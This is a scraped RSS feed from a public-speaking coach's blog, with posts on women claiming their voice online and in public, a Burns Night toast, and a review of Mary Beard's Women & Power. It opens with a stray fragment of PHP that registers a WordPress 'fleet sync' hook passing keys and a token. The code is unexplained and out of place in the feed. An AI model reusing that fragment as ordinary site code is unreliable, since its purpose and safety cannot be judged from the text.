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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Gender equality Archives - Now you're talking https://www.nowyouretalking.co.uk/category/gender-equality/ Public speaking Wed, 23 Sep 2020 09:15:50 +0000 en-GB hourly 1 https://wordpress.org/?v=7.1 Claim your voice – women speaking online https://www.nowyouretalking.co.uk/2020/09/23/claim-your-voice-women-speaking-online/ Wed, 23 Sep 2020 09:15:50 +0000 https://www.nowyouretalking.co.uk/?p=1280 Women are half the world’s population, but they are not half the world’s public voice. Globally, according to Bizzabo research of 60,000 event speakers in 56 countries, just one in three are women. Women speaking online need to claim their…

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]]> Women are half the world’s population, but they are not half the world’s public voice. Globally, according to Bizzabo research of 60,000 event speakers in 56 countries, just one in three are women. Women speaking online need to claim their voice and share their ideas.

For myriad complex reasons from being told we have no right to speak, to perfectionism, impostor syndrome and risk aversion, women are not taking up opportunities to speak. And the avoidance seems to be amplified online where women are often interrupted, spoken over or simply ignored by male counterparts.

If women want to step out of their comfort zone, they need to find their voice and become more visible. To achieve this online, we need to embrace the three essentials of communication – Confidence, Connection and a message that drives Change – in ways that work for us.

Confidence

In life, and as speakers and presenters, women struggle with confidence more than men. And having endured centuries of ‘put-downs’, it’s hardly surprising! Almost 3,000 years ago, Odysseus’ son Telemachus told his mother, Penelope, that speaking in the public forum is his responsibility and that she should return to her quarters to concentrate on her own work, the loom and the distaff.

In 1988, Punch published a cartoon by Riana Duncan depicting five men and one woman sitting in an office meeting. Miss Triggs makes a suggestion. The chairman replies: “That’s an excellent suggestion Miss Triggs. Perhaps one of the men here would like to make it.”

Such evidence is borne out in the annual McKinsey and Lean In Women in the Workplace report, which in 2019, found that half the women surveyed had experienced being interrupted or spoken over and two in five referenced others taking credit for their ideas.

Hardly surprising, then, that women are reluctant to speak. Yet, online, more than being in the same room as our audience, we need to bring confident energy to the screen so that our audience can relax and connect with us and what we’re saying.

Ready for your close up?

Women speaking online can feel challenged by the format and reluctant to speak. As you look at a screen and see everyone’s face staring back at you, it can feel intimidating. So, we need to be happy with how we look and show ourselves to best advantage.

When you go online, it’s easy to overlook your familiar surroundings, but your computer’s camera and mic will relay everything in range. Check what your audience will see and hear and make sure it’s what you want them to see and hear.

Think about being online as having a close up. You’re on the small screen and the camera will pick up every detail, expression and gesture. Is your lighting setting you off to best advantage so that you’re not plunged into shadow, dazzled by sunshine or distorted by reflections bouncing off your face or glasses if you wear them? I’m often asked about clothes and I recommend comfortable and appropriate for your audience. Block colours can reinforce a look of confident professionalism.

Keep calm when speaking online

Relying on technology can sometimes feel like working with children and animals. In spite of doing all the appropriate tech checks, things can still go wrong. And people accept that this can happen. What’s important is that you handle it calmly and efficiently, explaining what’s happening; and even better, invite a participant to take care of the tech for you.

Show your confidence

Consider all the non-verbal ways you can convey confident energy online. Bear in mind that we can often only see small images of participants or even less if they have their webcams turned off. This makes it hard to read non-verbal cues so make them clear and deliberate:

  • A genuine smile
  • An open and stable posture that is relaxed and assured
  • Dial down movement and gestures. Online, you’re on the small screen and big gestures that work in a large venue will overwhelm or fall off screen
  • Steady eye contact and the correct positioning of your camera lens at just above eye level make you look open and sincere and keep any double chins at bay!

Connection

If you want to stand out and have your listeners remember your talk or presentation, you need to connect emotionally with them:

“They may forget what you said, but they will never forget how you made them feel”
Carl W Buehner

Answer their ‘What’s In It For Me?’

As the meeting host or presenter, it’s your responsibility to know what your listeners will value, ie answer their all-important ‘What’s In It For Me’ question – as quickly as possible – so that they have a reason to carry on listening. To achieve this, you need to know your participants, what makes them tick and what they want from you.

Given the propensity for women to be interrupted or talked over and the challenge of reading non-verbal cues online, it is particularly important to make sure everyone feels involved in the meeting and has a chance to speak if they want to. Lay down some clear etiquette ground rules. For instance:

  • Ask participants to indicate their questions in the chat function
  • Invite specific gestures from people wanting to speak, eg the hand wave on Zoom (or other in-platform symbols) or physically wave their own hand to attract the host’s attention
  • Encourage participants to turn on their cameras so that people don’t go unseen unless it’s their choice
  • Unmute and invite people, by name, to speak

‘You’ and ‘we’ are magic words

Use of ‘you’ helps strengthen the relevance of your talk or presentation and make your listeners feel involved. In the English language, ‘you’ power comes from being both singular – a personal connection through a one-to-one conversation – and plural, including everyone. ‘We’ is even stronger, giving the feeling of togetherness, teamwork and co-creation.

Share your story, not your screen

Storytelling comes into its own when speaking online. When we tell a relevant personal story, openly and honestly, our listeners can relate to us as people. Stories not only create connections, but they are both engaging and memorable:

“Engaging speakers share their message through stories. They can move an audience, even in
business settings, to feel, laugh or cry, and are memorable for all the right reasons”
Lyn Roseaman

In stark contrast, sharing your screen and wading through bullet points is neither engaging nor memorable and fast-track to losing your listeners. Prioritise relevant storytelling at every opportunity.

Change

In the words of John F Kennedy, “The only reason to give a speech is to change the world.” Speaking up at meetings and events is our opportunity to remain visible, explore and share change and start building our future.

Message for the moment

To stand out online, what you have to say needs to be new and on point. Start at the end of your presentation or meeting with how you want people to think, feel or act afterwards. Identify your message and only incorporate content that supports it. Check your favourite search engine to make sure your message fits the bill.

Make it memorable with a rhythmic and rhyming anchor phrase that captures the essence of your talk in ten words or fewer, eg ‘Home is where we start from’ (Aileen Evans) or ‘It’s the world’s thinnest notebook (Steve Jobs).

Make life easy for your audience

Zoom fatigue and Teams tedium are now part of our lives and our attention spans are short at the best of times. In our enthusiasm for a subject, it’s easy to say too much and overwhelm our listeners. Less is most definitely more online.

Adopt a clear structure, such as a timeline, pros & cons, heroine’s journey, etc. Break up your presentation into small ‘chunks’ of around five minutes each and top and tail each chunk with what you’ll cover and a keyword to sum it up. Signpost what you have to say so your audience has the ‘road map’ for your talk and it’s clear and easy to follow.

Support each other and interact at every opportunity when speaking online

In Zoom and Teams you can create breakouts. Dividing your audience into smaller groups and sending them to separate rooms where they can discuss a specific topic and report back to the main meeting engenders both energy and new ideas. Aiming to make some 70% of the time interactive (interspersed with short presentations) will make time online more dynamic, relevant and memorable.

If you feel that the gender dynamic is making some participants reluctant to speak up, breakouts can create an opportunity for people to come together and support each other.

Conclusion

Women are half the world’s population. Women speaking online is an important opportunity to claim their voice and be seen and heard, while preparing for a future where we will almost certainly need to shine online AND in physical locations, with a real audience in the same room.

For lots more practical tips and ideas to ace your speaking online, please enjoy my free download, ‘Now You’re Talking Online‘ or find my book, ‘Now You’re Talking – Take your speeches, talks and presentations to a wider audience and a bigger stage‘

A version of this article was originally published by Network She as ‘Claim your voice and shine online‘

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]]> Burns night – Toast to the Lassies https://www.nowyouretalking.co.uk/2020/01/24/burns-night-toast-to-the-lassies/ Fri, 24 Jan 2020 12:11:00 +0000 https://www.nowyouretalking.co.uk/?p=971 “The sweetest hours that e’er I spend Are spent amang the lasses, O” And who can blame him! We all know that Rabbie Burns loved the lassies, but he also respected and valued us. He knew that the focus on…

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]]> “The sweetest hours that e’er I spend
Are spent amang the lasses, O”

And who can blame him!

We all know that Rabbie Burns loved the lassies, but he also respected and valued us. He knew that the focus on the Rights of Man was wrong and said:

“The Rights of Woman merit some attention.”

Last time we were together to celebrate the great Rabbie Burns, I think we established very clearly the superiority of the lassies …

  • Girls get better exam results at school than you boys
  • We make better managers
  • Better at science
  • Better investors
  • Better drivers!

I can feel Burns rejoicing in the achievements of the lassies. We’ve just been celebrating 100 years of some women getting the vote. Without a vote, women were grouped with children and the insane, women were non-people, the property of their husbands. Imagine!

In 1918:

  • There were no women in the police
  • There were no women MPs
  • And women certainly didn’t get the top job as PM
  • Oxford and Cambridge didn’t allow women to take degrees and up until 1948 Cambridge awarded women a degree in title only. BA TIT! Thanks boys!
  • There were fewer than 500 female doctors in England and Wales
  • That left male doctors free to do what they liked. And they did! For instance, they invented Anorexia Scholastica – only affected women; debilitating thinness resulting from too much mental stimulus. If only that were true, I for one would have read so much more!!! They suggested that maths was a particular problem, diverting energy from the reproductive system. And if you were careless enough to get pregnant, you could be fired
  • Women could even be refused service for trying to spend their own money in a pub.

100 years later, all that’s changing. in 2018:

  • Cressida Dick has the top job in the Metropolitan Police
  • 208 women MPs in Westminster
  • Love them or hate them, we now have our 2nd female PM and Nicola Sturgeon is First Minister in Scotland
  • 57% of graduates are women
  • Nearly half of registered doctors (in England and Wales) are women
  • And Anorexia Scholastica has been completely cured!

We’ve come a long way. But there’s still work to do, not least, closing the wretched gender pay gap.

Meanwhile, the laddies aren’t feeling so good:

  • 1 in 3 men in the UK think masculinity is in crisis and no one knows what to do about it
  • Everything used to be so clear. Be the breadwinner, be the boss, look after your family and be heterosexual. Now, men are expected to be kind, fair and emotionally intelligent. What does that mean?!
  • In the confusion, boys are doing worse than girls at school (56% of boys achieved GCSEs grade C and above, compared with 66% of girls). And boys are a third less likely to go to university
  • Men in their 20s could find themselves earning the same or less than women in their 20s as the gender pay gap closes among the 20-somethings
  • 87% of rough sleepers are men
  • Men are experiencing a mental health epidemic, accounting for 3 in 4 suicides
  • Men are much more likely to be sent to prison
  • In essence, men are now cast as villains and to blame for all that’s wrong in the world, scared of being ‘wrongly’ accused of inappropriate behaviour. And their fear may well be justified given Gillette’s latest ad. A laudable aim to bring a more contemporary vision of masculinity and reinvigorate the 30-year old tagline ‘the best a man can get’. But what we got, was a message that most men are on the wrong track, not good enough, must do better and change!

We don’t really believe that, do we girls?

Has it all gone too far? Should we consider the unthinkable, join forces and work together.

Rabbie urges us to try and empathise a bit:

“O wad some Pow’r the giftie gie us
To see oursels as ithers see us!
It wad frae mony a blunder free us,”

And when we empathise, we can see that we’re wired differently and there’s nothing wrong with that. We can complement each other. For instance:

  • Women remember everything – larger hippocampus – that’s the bit where we store memories. So we remember every single word of every single argument!
  • Women feel, while men take a more fact-based approach. We need both. Real facts are very important, even if it is emotions that swing decisions
  • Men are better at negotiating salaries and pay rises and who’d say no to a bit more money?
  • We problem-solve differently – girls like to talk things through and then act; men prefer to dive right in and fine tune as they go along.

We’re different and we can complement each other. We are stronger together.

Obviously, to make this work, there will have to be some clear red lines:

  • Women have the last word in any argument. Anything a man says after that is the beginning of a new argument
  • You need to understand the vocab:

When a woman says “Yes Dear. Fine.” It’s far from fine.

“Go ahead” means “Don’t you dare!”

“Oh you think so” means “think again.”

Men on the other hand have their very own nuanced speak that we girls also need to respect:

  • “Can we talk about this later?” … means “I never want to talk about it again!”
  • “If you don’t do it the way I’m telling you, you’ll regret it” means “I know best!”
  • And then there’s that stunning sense of direction, we know and love. “I know exactly where I am; the GPS isn’t working properly!” means “We’re lost!”

We need to be much more open and supportive of each other. But don’t forget, boys, the huge hippocampus – we girls remember everything!

Let’s move forward together. Ladies and Gentlemen, the toast:

Lift your cup and drain it well,
For these are truths that I do tell.
Without all sexes, teams are lacking,
Girls and boys must get our backing,
Other genders we must heed
Without them, how can we proceed
To make a world that’s right and fair?
Let’s drink to all and their constant care.

Lyn Roseaman

Toast to the Lassies

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]]> Speak and claim your voice https://www.nowyouretalking.co.uk/2019/03/08/speak-and-claim-your-voice/ https://www.nowyouretalking.co.uk/2019/03/08/speak-and-claim-your-voice/#view_comments Fri, 08 Mar 2019 17:06:25 +0000 https://www.nowyouretalking.co.uk/?p=837 Women are half the world’s population, but they are not half the world’s public voice. For myriad complex reasons from being too busy with other responsibilities to oppressing perfectionism, women are not taking up opportunities to speak in public, they…

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]]> Women are half the world’s population, but they are not half the world’s public voice. For myriad complex reasons from being too busy with other responsibilities to oppressing perfectionism, women are not taking up opportunities to speak in public, they are not presenting themselves as published experts and they are hiding their light under a bushel.

History tells us that women don’t have the right to speak in public. Sounds wrong, doesn’t it, especially in this day and age? But, historically, women have been systematically denied permission to speak in public and it has taken its toll.

Our right to speak in public is a product of history – public speaking is a man’s job. And it is also a product of socialisation – we raise girls to be perfect, while raising boys to be brave (Reshma Saujani, TED 2016). This lopsided situation makes no sense. It’s bad for the business bottom line, bad for equality and balance, bad for the advancement of society. It is bad on so many levels and we can all help to change this for the better.

Women have no right to speak in public

Speak - Penelope at the loom

Penelope being domestic, working at her loom

Mary Beard, in her book entitled Women & Power: A Manifesto takes us all the way back to Ancient Greece for example after example of women being told they have no right to speak publicly about anything of importance. Their jurisdiction is the things within their purview, ie the home. Beard starts with Homer’s Odyssey almost 3,000 years ago when Odysseus’ son Telemachus told his mother, Penelope, that speaking in the public forum is his responsibility and that she should return to her quarters to concentrate on her own domestic work, the loom and the distaff: “ … speech will be the business of men, all men, and of me most of all; for mine is the power in this household.”

Roll forward to 1928 and the Daily Express said that radio listeners felt women’s voices were monotonous. In 1945, the Sunday Dispatch observed that women were too emotive in their delivery. Too monotonous. Too emotive. You can’t win!

Apparently, we did not fully trust women to read the news in the UK until Angela Rippon became a ‘permanent’ newsreader in 1975.

30 years ago (8 September 1988), Punch published a cartoon by Riana Duncan that summed up this refusal to let women be heard. The cartoon depicts five men and one woman sitting in an office meeting. Miss Triggs makes a suggestion. The chairman replies:

“That’s an excellent suggestion Miss Triggs.
Perhaps one of the men here would like to make it.”

This repeated denial of the right to speak may well exacerbate the unequal presence of women in senior positions. A Cranfield School of Management report (2017) shows that women hold fewer than three in ten (28%) of directors’ seats in the boardrooms of FTSE 100 companies.

No right to speak becomes reluctance to speak

I used to be the person clinging to the podium so you couldn’t see my hands shaking, knees locked to stay upright, and my breath so shallow that I sounded as if I was about to burst into tears. When I heard male colleagues saying things like “I don’t know why you’re so frightened, I love speaking!” I felt even more like an impostor, drowning in self-doubt. Then one day, in a leadership team meeting, a colleague called Michael invited me to share some examples of how I had successfully developed a new business area. He gave me a broad, encouraging smile and I started to speak. My reward? An interested audience wanting to know more and a round of applause for my initiatives. Michael gave me the right to speak and what I had to say was of value to my audience.

Repetition is creating self-doubt

Fear of speaking

One clear result of centuries of telling women they have no right to speak in public is a learnt self-doubt about the right to be taken seriously, constantly seeking approval and acceptance. I so often hear women saying things like:

  • What right do I have to be here, taking up people’s time and space?
  • Who am I to be speaking alongside all these important people?
  • I feel really uncomfortable doing personal PR and self-promotion
  • This is doomed to fail. What if they don’t like my message?

This self-doubt manifests as fear of public speaking or that fabulous Greek word, glossophobia. A recent YouGov poll shows public speaking as the biggest fear in Britain (alongside fear of heights), for two in three adults (67%). It affects us all, but women are twice as likely as men to say they are ‘very afraid’. Young people are also more likely than their older counterparts to be afraid of public speaking, even speaking on the phone. It has serious symptoms, from pounding heart and dry mouth to brain freeze and the inability to think on your feet. And the worst symptom of all? As many as two in five adults would pass on their dream job if it meant facing their biggest fear. Is fear of speaking in public holding you back when the ability to do so is so very fixable.

Men are socialised to be brave. Women are socialised to be perfect. Look out for differences in the way (inexperienced) male and female colleagues speak. I remember attending graduate training presentations. When it was the turn of the men to present, they came across as confident and compelling in their delivery, making them more convincing and memorable. In contrast, the women generally shared clearer and more considered information, but you could feel their fear – see their hands shaking, hear their voices trembling.

Elsewhere, I have set out ways to befriend your nerves and make them work for you so that when you stand up to speak you feel assured, confident and empowered.

Speaking in public is more than ever before an essential life skill

There are so many reasons for all of us to develop some proficiency as public speakers: 

  • Getting a job and subsequent career progression. It’s not just about successfully handling the interview stage, but also the ability to speak in public usually appears high up employers’ wish lists
  • The importance of standing out from all the information that bombards us on social media
  • Showcasing your knowledge and expertise
  • Increasing your self-confidence
  • Developing and improving communication and leadership skills
  • Empowering you to effect change. In the words of John F Kennedy, “The only reason to give a speech is to change the world”. While most of us might not reach such lofty heights, we do speak to persuade, to change hearts and minds
  • And, of course, the almost inescapable major celebration where you need to say a few words – big birthday, wedding, anniversary, etc.

And for women, there is a further reason. Women have points of view that are different and merit being heard. Every time someone speaks, they take an opportunity to change how people think, feel and act. Why would we want to exclude half the world from that opportunity?

#BalanceforBetter and reclaim the right to speak – a job for us all

Ththere's no stopping me now Speak with confidence

Women in particular often tell me they get really nervous simply introducing themselves, be it in a meeting or in networking situations. The result is that they miss out. They might avoid networking opportunities. They might miss what others are saying as they worry about what they’re going to say or that other people might question their authority to speak. But it’s not just women who miss out. By taking the ‘silent’ option, we all miss out on their thoughts and ideas.

It is not a question of capability, but rather the need for support and reassurance. Public speaking is not a skill we are born with; it is a skill we learn. Women can and should support each other, but men are also vital in encouraging people to speak up. #BalanceforBetter couldn’t be more real.

In the home and the classroom

Schools are starting to offer public speaking training, but it’s far from being all schools and far from reaching all children. Public speaking is a life skill that is good for the individual and good for business. It needs to be on the National Curriculum, so that everyone leaves school with the ability to speak in public.

In addition to learning public speaking, we need to address other social issues that are holding women back in this space. For instance, socialising girls for perfection is teaching half the population to attain perfection before going public; time gobbled up by their primary responsibility as carers. Instead, we need to be showing girls that they have something of value we want to hear and showing them how to find their voice.

In the office

Leaders/managers need to think about colleagues speaking in public and make it part of their ongoing development, perhaps by building it into Performance Development. If, for instance, you have a team member who is reluctant to speak up in meetings, give them a specific speaking task in the next meeting. If you have another colleague who tends to talk too much, invite them to take on a supportive role and only speak to reinforce the views of the colleague who is learning to speak up.

At conferences and public events

We need to address the underrepresentation of women as conference speakers. Although some sectors/organisers set gender quotas for speakers, most don’t. We need to reframe speaking in public as a privilege and an opportunity – to share something we are passionate about, to increase our network, to meet new people, etc. For women, this may mean accepting invitations and seeking out opportunities to speak. For men, consider giving or sharing your invitation with a female colleague.

Don’t be afraid to ask for help. TED talks, for instance, always provide their speakers with coaching support – it’s good for the speakers and ensures their speeches are what’s needed for the event. So, if you need support, then ask for help from the organisers or find your own coach/mentor; look for opportunities to practise in front of colleagues and friends, or at a speaking club, etc.

Eradicate the urge to apologise and find more positive expressions. For instance, “Sorry, I don’t have the experience of other speakers here today” becomes “I am here to share with you the views of the younger generations”. People invite you to speak because they believe you have something important to say that is of value. If a conference organiser neglects to make it clear why they want you to speak at their event, ask them. Remember this reason and remind yourself every time any doubt creeps in.

We all need to support and reinforce each other when we speak. We all have that primeval hardwiring to be afraid (fight/flight/freeze) and to seek acceptance and approval from the group, our audience. When someone, especially a woman, speaks up in a meeting, and assuming you agree, of course, voice your support and agreement.

Pass me the microphone, please!

Speech opening - winning beginnings

Everyone has the right to speak and women, in particular, need to speak up and exercise that right. Take those opportunities to speak … in a meeting, in support of a colleague, at an event. You’ll love how good it feels when you hear the applause of an appreciative audience. Women are half the world’s population, so their opinions are important. Find your voice and personify #BalanceforBetter

Now You’re Talking!

 

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]]> https://www.nowyouretalking.co.uk/2019/03/08/speak-and-claim-your-voice/feed/ 10 Women & Power https://www.nowyouretalking.co.uk/2018/01/01/women-power/ Mon, 01 Jan 2018 21:48:23 +0000 https://www.nowyouretalking.co.uk/?p=415 If you read just one book in 2018, may I urge you to give Mary Beard’s Women & Power your attention. Based on a couple of lectures she delivered in 2014 and 2017, Beard accessibly explores the impact of Western culture on…

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]]> Mary Beard

If you read just one book in 2018, may I urge you to give Mary Beard’s Women & Power your attention.

Based on a couple of lectures she delivered in 2014 and 2017, Beard accessibly explores the impact of Western culture on the public voice of women and the issue of unconscious bias as a mechanism for excluding women from centres of power.

This has far-reaching and embedded consequences for public speaking and leadership today. We need to work on solutions to ensure women have, in Beard’s words, “the ability to be effective, to make a difference in the world, and the right to be taken seriously, together as much as individually” (p87).

We constantly reference ’empowering’ women and ‘gender equality’, but on whose terms? When you speak, are you adopting ‘foundational’ and culturally entrenched stories of power that effectively keep women out of said power? Are you reflecting unconscious bias that perniciously reinforces the status quo?

Gender equality is on the agenda, but first we need to interrogate the very meaning of power and leadership to avoid perpetuating traditional narratives.

Please take a couple of hours to read this important contribution.

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